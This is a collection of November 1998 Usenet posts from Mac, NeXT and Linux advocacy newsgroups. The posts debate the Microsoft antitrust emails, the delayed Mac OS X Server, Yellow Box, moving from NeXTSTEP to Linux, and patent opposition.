rather than a NeXT gui clone, it succeeds famously. It is fast and
relatively light on resources, not to mention stable. But there is no
substitute for the Real Thing.
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 17:46:06 -0500
Organization: phenix@interpath.com
Message-ID: <1dincwj.f555e61fee0q0N@roxboro0-035.dyn.interpath.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <72smjp$d59$1@nnrp1.dejanews.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
<spagiola@my-dejanews.com> wrote:
-snip-
> So, you're correct on the legalities (bearing in mind that IANAL) and
> right to rebut the incorrect assertions of the previous poster,
No, he's not -- like every other piece of physical evidence, it's either
questioned or not, if it is then each side will have their "experts"
"explain" how it supports their side and then leave it up to the
judge/jury as to which to believe. Email is no different in this
regards from fingerprints, dna, signatures or voice identification, or
writing style.
If one side of dispute isn't questioning a particular piece of evidence
it is because either they think it doesn't matter or because they want
the judge/jury to accept it as true (whether it is or not).
--
John Moreno
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 22:59:34 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1711981758480001@pm61-03.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <cirby-1611981402400001@pm61-11.magicnet.net> <3651B16C.DB43A980@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> I'm saying the obvious, which is that these people send dozens of emails
> every working day. To think that they'd remember two or three emails, or
> their *context*, that were three years old is absolutely ludicrous.
Considering that these emails bear directly on major Microsoft plans for
the times in question, you're way off base here. Not to mention that
Bill's evasions were so... *pathetic* that he might as well have been
holding up a sign that said "lies start here." This is a guy who can
stand up in front of thousands of people at a Comdex and talk about the
new technologies his company might be selling in the near future, but he
argues with a lawyer about the definition of non-technocal English
words...
If he really didn't remember, all he had to say was, "I don't remember,
and I don't think I wrote those emails." Instead, he went off on a "well,
it didn't mean what it actually says" tangent, and looked silly as hell.
> > Aside from things like the stuff found in Bill Gates' personal
> > correspondence, you mean...
>
> Hmmm...I wonder what percentage of all of the Microsoft email these
> emails represent. 1%? 1/2 of 1%? Maybe 100th of 1%?
Doesn't matter. If you're running a wiretap operation and the guy you're
listening to says "well, I killed Joe Schmo last night," you probably
don't have to spend a lot of time listening to the ones where he didn't
say it.
> Seems the government has uncovered only three or four such emails out of
> a body of probably thousands written over the last three years. Wonder
> how many exculpatory emails the Gov has deliberately overlooked?...:)
If there were some, Microsoft would certainly have mentioned them by now.
It's not like their lawyers are particularly hamstrung by being poor.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: Mac+Linux: "amazingly great" part II
Message-ID: <adtF2LuuL.94M@netcom.com>
Followup-To: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Organization: ICGNetcom
References: <72evt6$15u$1@nnrp1.dejanews.com> <861zn8w3jc.fsf@topquark.spots.ab.ca> <97042EDDF11DA39D.35D6071AA669CB56.DAD30F1AEB9000E9@library-proxy.airnews.net>
Date: Wed, 18 Nov 1998 06:47:09 GMT
Sender: adt@netcom17.netcom.com
Sheldon Gartner (a1050pi@yahoo.com) wrote:
: ... I've
: heard that Apple could provide "Yellow Box" for Linux....What exactly
: _is_ Yellow Box, anyway ...
Yellow Box is the native API for Rhapsody/MacOS X. Think of it like a
hybrid of NextStep and MacOS, favoring NextStep. Yellow Box application
are supposed to run natively on MacOS X for PowerPC and Intel x86, and
libraries will let them run under Win9x/NT as well. At least that's the
plan.
: ... (And will OSX run Linux software and vis-versa?) ...
Hidden under that friendly GUI is BSD Unix.
: ... And could it make Linux easier for newbies? ...
It's not just for newbies. When my former CS department became independent
of the Math department they fought over who would get the Next
workstations and who would get "stuck" with the Suns.
: As I've said so often--MacOS and Linux both have something the other
: needs. I could see Apple trying to work its way into the business
: community by providing dualboot machines for those who asked....
With Rhapsody/MacOS X there is no need for dual boot. You get Unix and
shrinkwrapped retail apps in the same environment.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: petcher@howdy.wustl.edu (Donald N. Petcher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 23:44:00 GMT
Organization: Washington University in St. Louis
Message-ID: <72t1o0$m55$1@newsreader.wustl.edu>
References: <364295A3.ABE8C927@earthlink.net> <yl3ww58h3tp.fsf@shell8.ba.best.com>
In article <yl3ww58h3tp.fsf@shell8.ba.best.com>,
Robert Nicholson <steffi@shell8.ba.best.com> wrote:
[snip]
>
>Microsoft is constantly saying that they listen to customers. Bollocks!
>
Sure they listen to customers. If the customers say they want standard X
supported, Microsoft writes a new feature Y that functions sort of like X,
but is proprietary, and they tell the customers "see we gave you what you
wanted". Meanwhile they are trying to take over standard X with their own Y.
Cheers,
Don Petcher
From: whaddock@neosoft.net (WPH)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Tue, 17 Nov 1998 18:24:45 -0500
Organization: NeoSoft, Inc.
Message-ID: <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
References: <01be1188$01ce14e0$06387880@chewy>
In article <01be1188$01ce14e0$06387880@chewy>, "Todd Heberlein (todd at
NetSQ dot com)" <todd@dev.null> wrote:
> Stepwise's weekly OS report is announcing a WebObjects 4.0 seminar
> series beginning Dec. 1 (of this year :-). Since the new WebObjects
> and MacOS X Server for PowerPC are often linked (at least in this
> newsgroup) for a joint release, I wonder if this heralds a release date
> for OS X?
Today's MacOS Rumors says that it will be released after January's
MacWorld Expo so that some new features may be rolled into it. Yes, this
is just a rumors site, but with only Steve knowing the release date, all
there is is rumor and speculation.
Last week a Apple sales rep told me that MacOS X Server is basically ready
for release. He says the marketing department just has no clue about how
to market it. I can tell him that there are people out there who want Mac
OS X Server now and I will be the first in the line to buy it.
All I can say is that MacOS X Server is late, and I am tired of waiting
for Apple to release a modern OS. It's simply another link in a very long
chain of broken promises.
--
Spam Alert! Change my address from .net to .com to e-mail a response.
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 14:13:27 -0600
Organization: Ericsson Inc.
Message-ID: <3651D8E7.BC900F00@exu.ericsson.se>
References: <364295A3.ABE8C927@earthlink.net> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72q6l0$ps2@newsb.netnews.att.com> <3650B378.684BEB0E@exu.ericsson.se> <72qrjk$kui@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sal Denaro wrote:
> That is assuming that those laws are somehow "unjust" by some definition
> of justice that isn't totally subjective. I've yet to see any definition
> of "justice" "morality" or "freedom" that wasn't subjective.
Great introduction to what will, eventually, come to rationalize that
the ends justify the means.
> Those laws were written by democratically elected representatives of the
> people, and signed into law by a democratically elected executive; who
> swore and oath to uphold the constitution. Those laws were declared to be
> constitutional by the justices of the supreme court.
This is an odd twist. We have applause for the workings of a democratic
system...
> Personally, I think it is a great injustice for government not to act in
> the best interest of those who elected them, in accordance with the
> constitution; even if it means doing things that are unpopular. (Like
> ending segregation or prosecuting Microsoft. )
...but here we have quite the opposite: autocratic action by the
government *on behalf* of other people "even if it means doing things
that are unpopular".
You're not quite as good at concealing twisted logic as you think you
are.
MJP
From: macdev@earthlink.net (macdev)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: Tue, 17 Nov 1998 22:45:29 -0800
References: <72s6bh$dfl$1@nnrp03.primenet.com> <72sh9j$m7m@mozo.cc.purdue.edu> <72sl0c$f1h$1@nnrp02.primenet.com>
Organization: EarthLink Network, Inc.
Message-ID: <macdev-1711982245300001@sdn-ar-001casbarp100.dialsprint.net>
In article <72sl0c$f1h$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Ashootosh P. S. Palayathan <ashootos@roger.ecn.purdue.edu> wrote:
>
> : John Jensen <jjens@primenet.com> writes:
>
> : >There is a nice essay over at freshmeat:
>
> : > http://editorials.freshmeat.net/ajay981115/
>
> : >Computing is becoming a world phenomenum. The author raises the
> : >interesting point that the inexpensiveness of Linux could give it a
> : >billion desktops in less affluent nations.
>
> : >Even if the billion number falls short, I thing the demographic trend
> : >should be considered. It might mean for Apple that world wide share will
> : >never again go up.
>
> : >I'm sure Apple can continue to make a business in affluent countries, but
> : >even there some customers might prefer a world platform.
>
> : >John
>
> : Are you a PC Troll?
>
> Go ahead, call me a troll. Like it changes anything.
>
> [snip]
>
> : Away with those prescient anti-macadvocates on mac.advocacy, please.
>
> I bought my first Mac in '84 and since then I've spent over twelve grand
> on six Apple Macintoshes. If people like me leave, who is left?
Pathetic apple kiss ups like ashootosh.
People like him are like wayland smithers on the simpsons, and Mr burns is
Apple. They turn on their computer and Steve Jobs appears and says "you
really turn me on".
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 20:34:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72smjp$d59$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
[Lots snipped]
Jon,
I agree with all your points about the evidenciary value of e-mail vs signed
letters etc.
However, in this particular case, it is my understanding that all the e-mails
being introduced as evidence were provided by Microsoft in response to DOJ
subpoenas. In other words, there is no reason to believe that they were
forged, unless you want to believe that MS forged e-mails that appear
damaging to its position and turned them over to the DOJ. And indeed, I
haven't heard any MS lawyer disputing the authenticity of any of the e-mails
that have been attributed to Gates, or to other MS employees (or did I miss
that?).
So, you're correct on the legalities (bearing in mind that IANAL) and right
to rebut the incorrect assertions of the previous poster, but this does not
change the fact that the particular e-mails introduced into evidence by the
DOJ are pretty damning. All IMHO, of course.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "bobsun" <bobsun@worldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: ISSCC 1999
Date: 18 Nov 1998 07:51:28 GMT
Organization: AT&T WorldNet Services
Message-ID: <72tua0$2l7@bgtnsc01.worldnet.att.net>
References: <71vjnd$ut@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirror after @ wrote in message
<71vjnd$ut@newsb.netnews.att.com>...
>According to EETimes, at the IEEE International Solid-State
>Circuits Conference, SF, February 1999 :
>
>"IBM will describe PowerPC 603 and 750 processor retargeted
>directly from bulk CMOS to an implanted-oxygen-layer SOI
>process. The company will report performance gains of up to
>30 percent from the process change alone, without any
>re-optimization of circuits."
>
>***
>Sounds interesting. Does it mean that the 400 MHz 750 design
>will be able to run at 520 MHz on SOI without redoing anything ?
>
>-arun gupta
It's a similar claim to Apple's claim to be "up to" X times faster than. It
means that there is one piece of data somewhere that demonstrates that some
particular circuit (perhaps a ring oscillator?) ran 30% faster when
fabricated one their SOI process.
bobsun
From: "bobsun" <bobsun@worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 18 Nov 1998 08:01:32 GMT
Organization: AT&T WorldNet Services
Message-ID: <72tuss$4dd@bgtnsc01.worldnet.att.net>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <72sh9j$m7m@mozo.cc.purdue.edu>
Despite his apparently foreign background, Mr. Palayathan has not a clue as
to the economics of the introduction of PCs into foreign countries,
particularly the emerging nations in Asia. One of the most significant
trends is the domestic manufacture of PCs. Indeed, inexpensive otherboards
from Intel and from Taiwan play a critical role in this expansion. The
intense price competition for all of the PC components, including the
microprocessor, together with widespread availability of components has
dramatically accelerated this trend. In a few years India and china will
both replace Japan from it's position as the second strongest PC market. The
Linex price provides a nice fit into this market. One has to realize,
however, that all software costs are low in these countries (as in "free").
Apple has completely isolated itself from this opportunity.
bobsun
Ashootosh P. S. Palayathan wrote in message
<72sh9j$m7m@mozo.cc.purdue.edu>...
>
>
>
>
>
>John Jensen <jjens@primenet.com> writes:
>
>>There is a nice essay over at freshmeat:
>
>> http://editorials.freshmeat.net/ajay981115/
>
>>Computing is becoming a world phenomenum. The author raises the
>>interesting point that the inexpensiveness of Linux could give it a
>>billion desktops in less affluent nations.
>
>>Even if the billion number falls short, I thing the demographic trend
>>should be considered. It might mean for Apple that world wide share will
>>never again go up.
>
>>I'm sure Apple can continue to make a business in affluent countries, but
>>even there some customers might prefer a world platform.
>
>>John
>
>
>Are you a PC Troll? What makes you say that Apple will never grow again?
>I don't know where your prescience comes from, your next door psychic
>maybe? You have no idea and we have no idea about what Apple
>will do if such Linux stuff develops if it ever develops to such
>scales.
>
>Here is what I do know today though:
>
>1. Indeed I don't know much about world software development but I
>surely know it's not PC or Intel motherboard they should provide to those
>billion of people. Look at Intel's motherboard recall and PII recalls
>etc. at
>http://www.cnn.com/TECH/computing/9811/16/motherboard.idg/
>
>2. Maybe Apple should provide the PPC platforms for those Linux boxes.
>So Apple does have a chance at increasing market share.
>
>3. When are we going to stop labeling Apple as a company that is niche only
>or completely irrelevant when, in fact, facts tell us all that it is
>ahead of competition and is the wave of the future consumer machine that
>uses advanced relevant PPC chips?
>
>Away with those prescient anti-macadvocates on mac.advocacy, please.
>
>
>--
>Ashootosh P.S Palayathan
>School of Aeronautics and Astronautics
>Purdue University
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
From: Matt Kressel <matty@inch.com>
Subject: Re: Switch nextstep -> linux ?
Content-Type: text/plain; charset=us-ascii
To: Antoine Gautier <antoine_RemoveThisFromAdress_@arrakis.RemoveThisFromAdress.osd.ulaval.ca>
Message-ID: <3651E28F.90C2A84A@inch.com>
Sender: news%mother@herald.northgrum.com
Content-Transfer-Encoding: 7bit
Organization: Northrop Grumman
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca>
Mime-Version: 1.0
Date: Tue, 17 Nov 1998 20:54:39 GMT
Antoine Gautier wrote:
>
> Greetings,
>
> Nextstep / openstep now has less future that it used to (!), and Apple does
> not appear to have rock-solid plans to keep the NeXT spirit alive, so I am
> beginning to think about going over to Linux...
>
> I sort of think that dropping DPS could be a problem, sice I do a lot of
> TeXing with eps images generated by various drawing apps. Also, I would
> really miss having services (or would I?).
>
> I was wondering if there are users (not developpers) out there that have
> gone this route, and what their experiences have been so far.
>
> Thanks in advance !
>
I've only used Next on a limited number of occasions, however
there is a "port" of the Nextstep GUI to Linux called Afterstep.
Its pretty damn good. Also, TeX and eps are all supported under Linux.
-Matt
--
Matthew O. Kressel | INTERNET: matt_kressel@atdc.northgrum.com
+--------- Northrop Grumman Corporation, Bethpage, NY ---------+
+--------- TEL: (516) 346-9101 FAX: (516) 346-9740 ------------+
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 22:00:28 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72srls$r7d@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com>
Originator: gupta@tlctest
Anthony D. Tribelli <adt@netcom.com> wrote:
>
>Apple is far from bring a monopoly with respect to personal computers in
>general, but their OS monopoly in the PowerPC desktop market was larger
>than Microsoft's monopoly of the x86 desktop market. The fact that there
>were millions of x86 based systems out there did not lessen the control
>Apple had on companies that manufactured PowerPC based consumer oriented
>desktop systems.
Yeah, right ! Wasn't it Microsoft that wanted $400 million to keep
Windows NT for PowerPC, and wasn't it IBM and Motorola that refused ?
Likewise, IBM and/or Motorola could have backed BeOS had they wanted to,
like Intel is doing today. IBM could have released OS/2 for PowerPC had
they so chosen. IBM and/or Motorola could have had licensed companies
to build boxes to run BeOS, OS/2, Windows NT, without Apple's permission
and without waiting for Apple to support CHRP.
-arun gupta
From: not@my.address.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 22:01:13 GMT
Organization: Arizona State University
Message-ID: <72srn9$ah5$1@news.asu.edu>
References: <364295A3.ABE8C927@earthlink.net> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72q6l0$ps2@newsb.netnews.att.com> <3650B378.684BEB0E@exu.ericsson.se>
In-Reply-To: <3650B378.684BEB0E@exu.ericsson.se>
On 11/16/98, Michael Peck wrote:
>
>The very idea that laws can be applied differently based on status or
>influence is nauseating; it contradicts Rule of Law at its core. The
>idea that Microsoft is culpable of offenses for which lesser competitors
>would not be held liable seems to be the basis for this suit, and is one
>of the most discouraging concepts I have seen discussed before the
>Supreme Court in my entire lifetime.
Your use of the phrases "Rule of Law" and "applied differently" have the effect
of running two different points together -- one plausible and irrelevant; the
other relevant and implausible.
The plausible point is that selective enforcement of the law would be unjust.
This is the kind of injustice most people have in mind when they talk about the
"Rule of Law" (along with failure to promulgate the law, retroactive application
of the law, and similar formal constraints on legal systems.) But selective
enforcement isn't the issue here.
The relevant point is that the law should not distinguish between "tying" by a
monopoly and "tying" by a non-monopoly. But I don't see how to argue for that
without defending the premise that the law should never distinguish between two
acts by appealing to differences in their effects. And that's not an attractive
premise.
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: ISSCC 1999
Message-ID: <rbarris-ya023280001811980035300001@206.82.216.1>
References: <71vjnd$ut@newsb.netnews.att.com> <72tua0$2l7@bgtnsc01.worldnet.att.net>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Wed, 18 Nov 1998 00:35:30 -0800
NNTP-Posting-Date: Wed, 18 Nov 1998 00:34:22 PDT
In article <72tua0$2l7@bgtnsc01.worldnet.att.net>, "bobsun"
<bobsun@worldnet.att.net> wrote:
> gupta@knim.tm.tta.moc-mirror after @ wrote in message
> <71vjnd$ut@newsb.netnews.att.com>...
> >According to EETimes, at the IEEE International Solid-State
> >Circuits Conference, SF, February 1999 :
> >
> >"IBM will describe PowerPC 603 and 750 processor retargeted
> >directly from bulk CMOS to an implanted-oxygen-layer SOI
> >process. The company will report performance gains of up to
> >30 percent from the process change alone, without any
> >re-optimization of circuits."
> >
> >***
> >Sounds interesting. Does it mean that the 400 MHz 750 design
> >will be able to run at 520 MHz on SOI without redoing anything ?
> >
> >-arun gupta
>
> It's a similar claim to Apple's claim to be "up to" X times faster than. It
> means that there is one piece of data somewhere that demonstrates that some
> particular circuit (perhaps a ring oscillator?) ran 30% faster when
> fabricated one their SOI process.
"Will report performance gains" sounds like a little more than a ring
oscillator to me. Either that CPU can hit 520MHz or it can't. See you
then.
Rob
From: Jeff Barber <Jeff.Barber@gsfc.nasa.gov>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Wed, 18 Nov 1998 04:23:23 -0500
Organization: NASA Goddard Space Flight Center -- Greenbelt, Maryland USA
Message-ID: <3652920B.A05B2B69@gsfc.nasa.gov>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
WPH wrote:
> All I can say is that MacOS X Server is late, and I am tired of
> waiting for Apple to release a modern OS. It's simply another
> link in a very long chain of broken promises.
It's amazing that even though Apple is doing some smart things
lately to make improvements, they can still make dumbass decisions
which absolutely infuriate even their most ardent fans. For me
lately it was HyperCard 3.0. I'd resisted SuperCard and others
because HC 3.0 was nearing completion and release. Now we find
out that 3.0 is completed but may never be released. Goddamit,
if the software is finished, then release the damn thing! Same for
OS X Server, stop pussy-footing around and get the damn thing
out on the street!
Lately I've begun wondering how many disappointments it will
take for this Mac fan to jump to Linux or Solaris or BeOS or whatever,
maybe even NT. Sometimes you just get tired of waiting and run
out of patience. Maybe I'll feel better tomorrow. Maybe not.
And don't even get me started on how OS X may or may not
run on my 6400. It's 603e chip isn't the latest, but neither is it
ready for the grave yet. And it's in a lot of company. And it's
paid for.
Like I said, maybe I'll feel better tomorrow. Maybe not. Apple,
just don't piss me off one more time before Christmas. Buying
software after Christmas, when it was ready before Christmas,
will piss me off.
Jeff Barber
From: Paul Wolff <paul@wolff.co.uk>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Wed, 18 Nov 1998 09:37:20 +0000
Organization: UDL (Reading)
Message-ID: <ypmhbBAQVpU2EAFd@wolff.co.uk>
References: <71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
<3646A021.162FC622@ix.netcom.com>
<qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
<3647E15E.7A2232BA@ix.netcom.com>
<qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
<36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk>
<KAi$REAcsAT2EAIj@wolff.co.uk> <364C3479.5C1BFBB5@cadence.com>
<oFPnADAoPFT2EA9z@wolff.co.uk> <36598246.6204950@news.demon.co.uk>
<m2yapc5118.fsf@barnowl.demon.co.uk> <bh$rJLA2+BU2EAgc@wolff.co.uk>
<3651AAC1.B9AF1766@cadence.com>
MIME-Version: 1.0
In article <3651AAC1.B9AF1766@cadence.com>, Simon Kinahan
<simonk@cadence.com> writes
>Paul Wolff wrote:
>>
>> In article <m2yapc5118.fsf@barnowl.demon.co.uk>, Graham Murray
>> <graham@barnowl.demon.co.uk> writes
>> >One solution for this would be for the patent offices to have to
>> >refund the fees plus pay damages (for their negligence in not properly
>> >checking the validity) whenever a patent is ruled invalid. This would
>> >provide an incentive for them to check such things as obviousness (to
>> >skilled practitioners) and prior art.
>>
>> Most Patent Offices take care not to guarantee that the patents they
>> grant are valid. They tend to the view that validity can't be properly
>> tested until all the facts and all the laws and all the arguments have
>> been exposed and explored, that the best forum for this is a court of
>> law, and the best time is when the patent has become an important issue.
>> There is no point in spending these resources on every patent
>> application. Meanwhile, they just try to avoid granting clearly invalid
>> patents.
>
>So maybe the solution (to the problem of invalid patents that noone can
>afford to challenge) is to make access to the law cheaper, easier and less
>demanding, so that it becomes possible for groups of private individuals
>(like Open Source developers) to challneg patents help by large companies ?
>
Which is why most countries allow their Patent Offices to hear third
parties' views before a patent is finally granted, or more usually
within a limited time (often 9 months - I don't know the significance of
that choice of time frame!) after grant, and - most importantly - to
allow the third party a say in the argument with the applicant, the
ability to adduce evidence and to be heard in a final determinative
hearing (and any appeal). The procedure is far less expensive than
court proceedings, within a simple framework, administered by a
specialised department of the Patent Office, and judged by senior and
experienced examiners. It is usually called Opposition.
--
Obiter scripta - Paul Wolff
From: "Pascal Haakmat" <ahaakmat@cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: Wed, 18 Nov 1998 13:23:52 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <72ue8p$888$1@pascal.a2000.nl>
References: <3649C384.DEE7E7E1@voy.net>
<72ov5h$khl$1@reader1.reader.news.ozemail.net>
<36504C35.7E40AA4D@voy.net> <72qrrs$l1b@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
In article <72qrrs$l1b@news1.panix.com> , sal@panix.com (Sal Denaro) wrote:
>I'm willing to bet that within 90 days of OSX shipping, you'll be able to
>download .pkg's for most of the more popular unix tools.
The problem, should then also be recognized in the phrase "OSX shipping".
Pascal.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: 18 Nov 1998 13:06:45 GMT
Organization: AOL http://www.aol.com
References: <19981117211132.25910.00004010@ng86.aol.com>
Message-ID: <19981118080645.11605.00001240@ng59.aol.com>
Hmm, following up on my own posts is becoming a trend.
Two things:
One, the NeXTView program <<http://www.multimania.com/thdj/English/index.htm>>
only works on Pentium or Cyrix 586 class processors.
Two, I'd like to second the wonderfulness of services, their central aspect to
the NeXT user experience and my own dependence on them.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 15:48:48 GMT
Organization: University of Washington, Seattle
Message-ID: <72uq90$150c$1@nntp6.u.washington.edu>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus- <adtF2Ls51.4v6@netcom.com>
NNTP-Posting-User: gwangung
In article <adtF2Ls51.4v6@netcom.com>,
Anthony D. Tribelli <adt@netcom.com> wrote:
>: You're defining "monopolistic" awfully loosely. By that definition,
>: MacDonald's should be dragged into court because it exercises monopoly
>: control over its franchisees. Never mind how many other restaurants a
>: consumer can choose from.
>Actually our disagreement seems to be about what constitutes a
>marketplace. I think the PowerPC consumer oriented dekstop market is a
>different market than the x86 market. I don't think that the fact that the
>two markets compete for the same end users changes the fact that each
>market is internally 'controlled' by one company.
Two markets competing for the same users are NOT two markets;
they're one market.
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/a&e/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Wed, 18 Nov 1998 10:42:05 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <72upsr$rl9@shelob.afs.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
Rex Riley wrote in message ...
>What's with the FUD wrt. "fat pile of green". FUD is unlike Greg...
Thanks for the compliment, and you're right: I didn't post that as FUD.
More's the pity.
>As to MacOSX server, you either have it or you don't. Apple's miscues with
>Rhapsody and MacOSX imply they don't have it.
They have it, they just don't know what to do with it. (Sounds like me in
high school. Buh-dump-bump.)
Greg
From: Jonathan <jxoxnxvxwxixlxlx@xixaxsxtxaxtxex.xexdxu>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Wed, 18 Nov 1998 09:42:23 -0600
Organization: Iowa State University
Message-ID: <3652EADF.70A8@xixaxsxtxaxtxex.xexdxu>
